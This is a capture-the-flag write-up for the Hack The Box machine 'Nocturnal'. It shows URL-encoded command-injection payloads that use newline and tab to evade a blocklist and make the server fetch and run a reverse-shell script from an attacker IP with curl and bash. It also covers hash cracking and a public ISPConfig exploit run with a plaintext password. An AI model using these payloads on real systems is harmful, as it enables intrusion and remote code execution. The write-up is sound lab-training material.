HTB: Nocturnal

Description

Nocturnal is an easy Linux machine that demonstrates command injection bypass and privilege escalation using CVE-2023-46818.

Recon

nmap

Result of nmap scan:

Scanned at 2025-05-31 21:30:25 WIB for 12s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpf3JJv7Vr55+A/O4p/l+TRCtst7lttqsZHEA42U5Edkqx/Kb8c+F0A4wMCVOMqwyR/PaMdmzAomYGvNYhi3NelwIEqdKKnL+5svrsStqb9XjyShPD9SQK5Su7xBt+/TfJyZQ3+jyYN1IdppOzDYRGMjhq5ybD4eI437q6CSL20=
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLcnMmaOpYYv5IoOYfwkaYqI9hP6MhgXCT9Cld1XLFLBhT+9SsJEpV6Ecv+d3A1mEOoFL4sbJlvrt2v5VoHcf4M=
|   256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIASsDOOb+I4J4vIK5Kz0oHmXjwRJMHNJjXKXKsW0z/dy
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only ports 22 and 80 are open. Port 80 is redirecting to http://nocturnal.htb. Let’s add it to the /etc/hosts file.

10.10.11.64 nocturnal.htb

80 - TCP

Enumeration

Visiting the website reveals a web app. Register an account and log in to explore the features. After exploring it for a while, I found that I need to be authenticated to access the files. I can list uploaded files if I supply a valid username and any filename that has a valid extension. It can be accessed from other user accounts too.

http://nocturnal.htb/view.php?username=jergal&file=any.pdf

I will try to fuzz the username.

> ffuf -H "Cookie: PHPSESSID=<Cookie>" -u 'http://nocturnal.htb/view.php?username=FUZZ&file=any.pdf' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -ic -c -fs 2985
...
admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 72ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 58ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 74ms]
...

Visiting the page for amanda reveals the privacy.odt file.

Admin Panel

The document contains amanda’s password. We can use it to log in to the web app as amanda. There will be a “Go to Admin Panel” button at the top of the page. It will take us to the admin panel. Inside the admin panel, we can view the source code of the web app. The view parameter isn’t vulnerable to directory traversal, so we can only use it to view the source code that is available in the options. There’s a backup functionality inside the admin panel; we can supply a password to protect the backup. Here’s the source code:

1
<?php
2
session_start();
3

4
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
5
    header('Location: login.php');
6
    exit();
7
}
8

9
function sanitizeFilePath($filePath) {
10
    return basename($filePath); // Only gets the base name of the file
11
}
12

13
// List only PHP files in a directory
14
function listPhpFiles($dir) {
15
    $files = array_diff(scandir($dir), ['.', '..']);
16
    echo "<ul class='file-list'>";
17
    foreach ($files as $file) {
18
        $sanitizedFile = sanitizeFilePath($file);
19
        if (is_dir($dir . '/' . $sanitizedFile)) {
20
            // Recursively call to list files inside directories
21
            echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
22
            echo "<ul>";
23
            listPhpFiles($dir . '/' . $sanitizedFile);
24
            echo "</ul></li>";
25
        } else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
26
            // Show only PHP files
27
            echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
28
        }
29
    }
30
    echo "</ul>";
31
}
32

33
// View the content of the PHP file if the 'view' option is passed
34
if (isset($_GET['view'])) {
35
    $file = sanitizeFilePath($_GET['view']);
36
    $filePath = __DIR__ . '/' . $file;
37
    if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
38
        $content = htmlspecialchars(file_get_contents($filePath));
39
    } else {
40
        $content = "File not found or invalid path.";
41
    }
42
}
43

44
function cleanEntry($entry) {
45
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
46

47
    foreach ($blacklist_chars as $char) {
48
        if (strpos($entry, $char) !== false) {
49
            return false; // Malicious input detected
50
        }
51
    }
52

53
    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
54
}
55

56

57
?>
58

59
<!DOCTYPE html>
60
<html lang="en">
61
<head>
62
    <meta charset="UTF-8">
63
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
64
    <title>Admin Panel</title>
65
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
66
    <style>
67
        body {
68
            font-family: 'Poppins', sans-serif;
69
            background-color: #1a1a1a;
70
            margin: 0;
71
            padding: 0;
72
            color: #ff8c00;
73
            display: flex;
74
            justify-content: center;
75
            align-items: center;
76
            min-height: 100vh;
77
        }
78

79
        .container {
80
            background-color: #2c2c2c;
81
            width: 90%;
82
            max-width: 1000px;
83
            padding: 30px;
84
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.5);
85
            border-radius: 12px;
86
        }
87

88
        h1, h2 {
89
            color: #ff8c00;
90
            font-weight: 600;
91
        }
92

93
        form {
94
            display: flex;
95
            flex-direction: column;
96
            gap: 15px;
97
            margin-bottom: 30px;
98
        }
99

100
        input[type="password"] {
101
            padding: 12px;
102
            font-size: 16px;
103
            border: 1px solid #555;
104
            border-radius: 8px;
105
            width: 100%;
106
            background-color: #333;
107
            color: #ff8c00;
108
        }
109

110
        button {
111
            padding: 12px;
112
            font-size: 16px;
113
            background-color: #2d72bc;
114
            color: white;
115
            border: none;
116
            border-radius: 8px;
117
            cursor: pointer;
118
            transition: background-color 0.3s ease;
119
        }
120

121
        button:hover {
122
            background-color: #245a9e;
123
        }
124

125
        .file-list {
126
            list-style: none;
127
            padding: 0;
128
        }
129

130
        .file-list li {
131
            background-color: #444;
132
            padding: 15px;
133
            margin-bottom: 10px;
134
            border-radius: 8px;
135
            display: flex;
136
            align-items: center;
137
        }
138

139
        .file-list li.folder {
140
            background-color: #3b3b3b;
141
        }
142

143
        .file-list li.file {
144
            background-color: #4d4d4d;
145
        }
146

147
        .file-list li a {
148
            color: #ff8c00;
149
            text-decoration: none;
150
            margin-left: 10px;
151
        }
152

153
        .file-list li a:hover {
154
            text-decoration: underline;
155
        }
156

157
        pre {
158
            background-color: #2d2d2d;
159
            color: #eee;
160
            padding: 20px;
161
            border-radius: 8px;
162
            overflow-x: auto;
163
            font-family: 'Courier New', Courier, monospace;
164
        }
165

166
        .message {
167
            padding: 15px;
168
            border-radius: 8px;
169
            margin-top: 15px;
170
            background-color: #e7f5e6;
171
            color: #2d7b40;
172
            font-weight: 500;
173
        }
174

175
        .error {
176
            background-color: #f8d7da;
177
            color: #842029;
178
        }
179

180
        .backup-output {
181
            margin-top: 20px;
182
            padding: 15px;
183
            border: 1px solid #555;
184
            border-radius: 8px;
185
            background-color: #333;
186
            color: #ff8c00;
187
        }
188
    </style>
189
</head>
190
<body>
191
    <div class="container">
192
        <h1>Admin Panel</h1>
193

194
        <h2>File Structure (PHP Files Only)</h2>
195
        <?php listPhpFiles(__DIR__); ?>
196

197
        <h2>View File Content</h2>
198
        <?php if (isset($content)) { ?>
199
            <pre><?php echo $content; ?></pre>
200
        <?php } ?>
201

202
        <h2>Create Backup</h2>
203
        <form method="POST">
204
            <label for="password">Enter Password to Protect Backup:</label>
205
            <input type="password" name="password" required placeholder="Enter backup password">
206
            <button type="submit" name="backup">Create Backup</button>
207
        </form>
208

209
        <div class="backup-output">
210

211
<?php
212
if (isset($_POST['backup']) && !empty($_POST['password'])) {
213
    $password = cleanEntry($_POST['password']);
214
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
215

216
    if ($password === false) {
217
        echo "<div class='error-message'>Error: Try another password.</div>";
218
    } else {
219
        $logFile = '/tmp/backup_' . uniqid() . '.log';
220

221
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
222

223
        $descriptor_spec = [
224
            0 => ["pipe", "r"], // stdin
225
            1 => ["file", $logFile, "w"], // stdout
226
            2 => ["file", $logFile, "w"], // stderr
227
        ];
228

229
        $process = proc_open($command, $descriptor_spec, $pipes);
230
        if (is_resource($process)) {
231
            proc_close($process);
232
        }
233

234
        sleep(2);
235

236
        $logContents = file_get_contents($logFile);
237
        if (strpos($logContents, 'zip error') === false) {
238
            echo "<div class='backup-success'>";
239
            echo "<p>Backup created successfully.</p>";
240
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
241
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
242
            echo "</div>";
243
        } else {
244
            echo "<div class='error-message'>Error creating the backup.</div>";
245
        }
246

247
        unlink($logFile);
248
    }
249
}
250
?>
251

252
 </div>
253

254
        <?php if (isset($backupMessage)) { ?>
255
            <div class="message"><?php echo $backupMessage; ?></div>
256
        <?php } ?>
257
    </div>
258
</body>
259
</html>

Command Injection

By the looks of it, it seems like we have a command injection on the password, but we need to bypass the cleanEntry function first.

1
function cleanEntry($entry) {
2
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
3

4
    foreach ($blacklist_chars as $char) {
5
        if (strpos($entry, $char) !== false) {
6
            return false; // Malicious input detected
7
        }
8
    }
9

10
    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
11
}

Many characters are blacklisted in the cleanEntry function, but we can bypass them by using the newline \n character because in Linux, each command is separated by a newline \n character. To execute more complex commands, we can use the tab \t character to separate them because spaces are not allowed. I will use two payloads to deliver my reverse shell script and then execute the script. The payload must be URL-encoded: %0a for new line and %09 for tab.

password=%0acurl%0910.10.14.79/x%09-o%09/tmp/x%0a&backup=

password=%0abash%09/tmp/x%0a&backup=

Shell as www-data

Enumeration

We can find the database used by the web app at the /var/www/nocturnal_database/nocturnal_database.db path. Because it’s a SQLite database, we can just dump it using the strings command.

Because tobias is the only user available on the Linux machine, I will just crack the tobias hash.

hashcat -m 0 '55c82b1ccd55ab219b3b109b07d5061d' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Then, we can use the password to log in via SSH as tobias.

Shell as tobias

User flag

tobias@nocturnal:~$ cat user.txt
deadbeefeff625911c218820a7e8fake

Enumeration

There’s an internal service at port 8080, let’s forward this port using SSH.

ssh -L 9090:127.0.0.1:8080 tobias@nocturnal.htb

Visiting http://127.0.0.1:9090 shows ISPCONFIG web app.

The default credential for this app is admin:admin according to this forum. It surely didn’t work, but if we use tobias’ password, it works to log in as admin.

CVE-2023-46818

We can get the current ISPCONFIG version by visiting the Help section. It shows version 3.2.10p1. This version is vulnerable to CVE-2023-46818 and it has a public PoC CVE-2023-46818 exploit.

python exploit.py http://localhost:9090/ admin slowmotionapocalypse

Shell as root

Root flag

ispconfig-shell# cat /root/root.txt
deadbeef56f2f26b795863d03be3fake